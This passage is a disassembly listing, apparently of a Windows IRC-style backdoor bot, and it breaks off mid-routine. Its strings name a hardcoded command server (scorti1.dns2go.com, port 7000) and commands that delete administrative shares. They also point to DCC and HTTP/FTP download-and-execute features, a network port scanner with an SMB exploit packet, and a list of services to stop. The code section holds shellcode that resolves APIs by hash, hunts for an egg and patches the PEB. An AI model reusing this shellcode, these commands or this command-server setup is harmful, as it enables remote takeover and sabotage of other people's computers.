'|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4435EC: ; DATA XREF: sub_4034E0+66o ; sub_40FF60:loc_41083Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404C70+875o ; sub_404C70+AF1o ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o ; sub_404C70+B5Eo ... align 10h asc_443600: ; DATA XREF: sub_404640:loc_40471Fo ; sub_404640+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404640+75o ; sub_40FF60:loc_410949o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o align 8 aN: ; DATA XREF: sub_404C70+D23o unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404C70+447o ; sub_41C030+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o ; sub_404C70+9B1o ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_406890+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o dd 0 a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo a2003 db '2003',0 ; DATA XREF: sub_406890+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_406890+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_406890+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_406890+C7o align 10h a98 db '98',0 ; DATA XREF: sub_406890+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_406890+AFo align 4 a95 db '95',0 ; DATA XREF: sub_406890+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo ; ___:00406E35o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o ; sub_40EC30+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406D73o dd 0 dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086ECo ... dword_4437F8 dd 40h ; sub_40FF60+7CCo ... dword_4437FC dd 20544F48h, 53584946h, 0aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+386o align 4 dd 0 aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+375o align 4 aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+364o align 10h aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+353o dd 0 aTahy db 'TAHY-',0 ; DATA XREF: sub_407790+345o align 4 aHoewrt db 'hoewrt',0 ; DATA XREF: sub_407790+334o align 4 aHotfixs_exe db 'hotfixs.exe',0 ; DATA XREF: sub_407790+323o dd 0 aServec db 'servec',0 ; DATA XREF: sub_407790+312o align 4 aS_1 db '#s',0 ; DATA XREF: sub_407790+301o align 4 aScop db '#scop#',0 ; DATA XREF: sub_407790+2F0o align 10h a7000 db '7000',0 ; DATA XREF: sub_407790+298o align 4 aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o ; sub_407790+2BAo align 10h off_4438B0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4438D0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_4438F8 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o ; ___:0040A971o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo ; sub_40B700+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B79Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B844o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C400+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o align 10h dword_443A20 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C400+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o dd 0 asc_443AF4: ; DATA XREF: sub_40CBB0+113o ; sub_4200F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o align 4 aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o ; sub_40EF90+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo align 10h dd 0 asc_443C74 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo ; sub_40FF60+1118o ... align 4 asc_443C78: ; DATA XREF: sub_40FF60+CACo ; sub_40FF60+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o ; sub_40FF60:loc_410BB7o aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo ; sub_40FF60:loc_410B96o asc_443C84: ; DATA XREF: sub_40FF60+871o ; sub_40FF60:loc_410BD8o ... unicode 0, <:>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do ; sub_40FF60+732o ... align 8 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h dd 0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o ; sub_4126B0+91o ... dd 0 dword_443CC4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CD4 dd 0A0D7325h, 0 ; sub_42D1A0+71o dword_443CDC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo dword_443CEC dd 4255505Bh, 5D43494Ch, 0dword_443CF8 dd 4952505Bh, 45544156h, 5Dhdword_443D04 dd 202Eh ; sub_4126B0+E5o dword_443D08 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o align 10h aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao align 4 asc_443D24: ; DATA XREF: ___:loc_412E63o dw 3Ch unicode 0, <>,0 asc_443D28: ; DATA XREF: ___:loc_412E4Co dw 3Eh unicode 0, <>,0 asc_443D2C db '==',0 ; DATA XREF: ___:loc_412E35o align 10h asc_443D30 db '!=',0 ; DATA XREF: ___:00412E21o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o ; sub_4192C0+297o align 4 aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o align 10h aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o align 10h off_443D70 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o ; ___:0042B302o ... dword_443D74 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo dword_443D80 dd 652Dh dword_443D84 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o align 10h aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo align 10h byte_443DC0 db 1 ; DATA XREF: sub_41A290r align 4 dword_443DC4 dd 2Eh ; ___:0041B235o ... dword_443DC8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_443E14: ; DATA XREF: ___:00421759o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_443E28 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E3C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E74 dd 63257325h, 0 ; sub_41F860+E5o dword_443E7C dd 72h dword_443E80 dd 30h ; sub_424840+327o dword_443E84 dd 3039h dword_443E88 dd 383631h dword_443E8C dd 323931h dword_443E90 dd 3631h dword_443E94 dd 323731h dword_443E98 dd 3031h off_443E9C dd offset loc_5C005C ; DATA XREF: ___:0041C117r ; ___:0041C287r word_443EA0 dw 0 ; DATA XREF: ___:0041C121r ; ___:0041C291r align 4 off_443EA4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r ; ___:0041C256r dword_443EA8 dd 430050h ; ___:0041C25Br dword_443EAC dd 24h ; ___:0041C27Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o align 8 asc_443EE8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o ; ___:0041FC87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo dd 0 dword_443FEC dd 28737973h, 6F626572h, 29746Fh, 0dword_443FFC dd 6469706Bh, 7325203Ah, 0dword_444008 dd 203A736Bh, 7325hdword_444010 dd 202E6425h, 7325202Fh, 0dword_44401C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o ; sub_41EF30+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o ; sub_41EF30+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41EF30+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o ; sub_41EF30+51Ao align 4 asc_444098: ; DATA XREF: sub_41EF30+2EFo ; sub_41EF30+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o ; sub_41EF30+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o ; sub_41EF30+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o ; sub_41EF30+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o ; sub_41EF30+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o ; sub_420530+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo ; sub_4207E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o ; sub_4207E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o ; sub_420530+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo align 4 off_444314 dd offset word_616C4E ; DATA XREF: sub_4207E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo align 4 off_44432C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o ; sub_4207E0:loc_420A6Bo align 10h asc_444400: ; DATA XREF: sub_420E10:loc_420ECFo ; sub_420E10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o ; sub_420E10:loc_42107Eo ... aHttp db 'http',0 ; DATA XREF: sub_420E10+84o ; sub_420E10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_444438 dd 1BDh ; sub_422A40+310o ... off_44443C dd offset sub_401811 ; DATA XREF: ___:00423E93r dword_444440 dd 0 ; sub_4235F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401811h, 0 dd 1, 19h dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422A40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422A40+747o off_444570 dd offset dword_612D20 ; DATA XREF: sub_422A40+737o ; sub_422A40+7A3o ... dword_444574 dd 722D20h ; sub_422A40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do align 4 dd 0 dword_44466C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423CD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004241D7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424126o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042406Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo align 10h dword_444830 dd 10FF8h, 0 dword_444838 dd 10FF8h dword_44483C dd 7FFDF020h, 0 dword_444844 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4448CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4448FC dd 0 dword_444900 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_444908 proc near ; DATA XREF: sub_425020+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_444A04 push dword ptr [esi] push 63D61209h call sub_444A1A mov [esi+8], eax call sub_4449CD push dword ptr [esi+4] push 0CA2BD06Bh call sub_444A1A mov [esi+0Ch], eax call sub_44497F push dword ptr [esi+4] push 4C0297FAh call sub_444A1A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_444908 endp ; =============== S U B R O U T I N E ======================================= sub_44497F proc near ; CODE XREF: sub_444908+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4449A8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_44497F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449A8 proc near ; CODE XREF: sub_44497F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4449B7: ; CODE XREF: sub_4449A8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4449C4 inc ebx jmp short loc_4449B7 ; --------------------------------------------------------------------------- loc_4449C4: ; CODE XREF: sub_4449A8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4449A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449CD proc near ; CODE XREF: sub_444908+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4449E5: ; CODE XREF: sub_4449CD+1Ej cmp [ecx], ebx jz short loc_4449ED mov ecx, [ecx] jmp short loc_4449E5 ; --------------------------------------------------------------------------- loc_4449ED: ; CODE XREF: sub_4449CD+1Aj mov edx, edi loc_4449EF: ; CODE XREF: sub_4449CD+2Aj cmp [edx+4], ebx jz short loc_4449F9 mov edx, [edx+4] jmp short loc_4449EF ; --------------------------------------------------------------------------- loc_4449F9: ; CODE XREF: sub_4449CD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4449CD endp ; =============== S U B R O U T I N E ======================================= sub_444A04 proc near ; CODE XREF: sub_444908+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_444A04 endp ; =============== S U B R O U T I N E ======================================= sub_444A1A proc near ; CODE XREF: sub_444908+16p ; sub_444908+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_444A30: ; CODE XREF: sub_444A1A+33j jecxz short loc_444A6A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_444A3D: ; CODE XREF: sub_444A1A+2Dj lodsb cmp al, ah jz short loc_444A49 ror edi, 0Dh add edi, eax jmp short loc_444A3D ; --------------------------------------------------------------------------- loc_444A49: ; CODE XREF: sub_444A1A+26j cmp edi, [esp+20h+arg_0] jnz short loc_444A30 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_444A6A: ; CODE XREF: sub_444A1A:loc_444A30j ; sub_444A1A:loc_444A6Aj jmp short loc_444A6A sub_444A1A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_444A70 proc near ; DATA XREF: sub_425020+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_444AC2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_444A8D: ; CODE XREF: sub_444A70+38j jecxz short loc_444ABD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_444A98: ; CODE XREF: 